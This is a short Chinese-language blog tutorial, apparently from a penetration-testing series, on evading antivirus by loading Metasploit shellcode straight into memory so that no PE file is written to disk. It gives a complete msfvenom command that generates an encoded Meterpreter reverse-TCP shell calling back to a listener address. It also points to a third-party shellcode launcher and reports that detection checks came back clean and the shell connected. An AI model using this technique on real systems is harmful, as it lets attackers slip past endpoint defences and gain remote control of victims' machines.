专注APT攻击与防御

https://micropoor.blogspot.com/

目前的反病毒安全软件，常见有三种，一种基于特征，一种基于行为，一种基于云查杀。云查杀的特点基本也可以概括为特征查杀。无论是哪种，都是特别针对PE头文件的查杀。尤其是当payload文件越大的时候，特征越容易查杀。

既然知道了目前的主流查杀方式，那么反制查杀，此篇采取特征与行为分离免杀。避免PE头文件，并且分离行为，与特征的综合免杀。适用于菜刀下等场景，也是我在基于windows下为了更稳定的一种常用手法。载入内存。

0x00:以msf为例：监听端口

0x001：这里的payload不采取生成pe文件，而采取shellcode方式，来借助第三方直接加载

到内存中。避免行为：

msfvenom -p windows/x64/meterpreter/reverse\_tcp lhost=192.168.1.5 lport=8080 -e x86/shikata\_ga\_nai -i 5 -f raw > test.c

0x002:既然是shellcode方式的payload，那么一定需要借助第三方来启动，加载到内存。执行shellcode，自己写也不是很难，这里我借用一个github一个开源：https://github.com/clinicallyinane/shellcode\_launcher/

作者的话：建议大家自己写shellcode执行盒，相关代码网上非常成熟。如果遇到问题，随

时可以问我。

生成的payload大小如下：476字节。还是X32位的payload。

国内世界杀毒网：

国际世界杀毒网：

上线成功。

Micropoor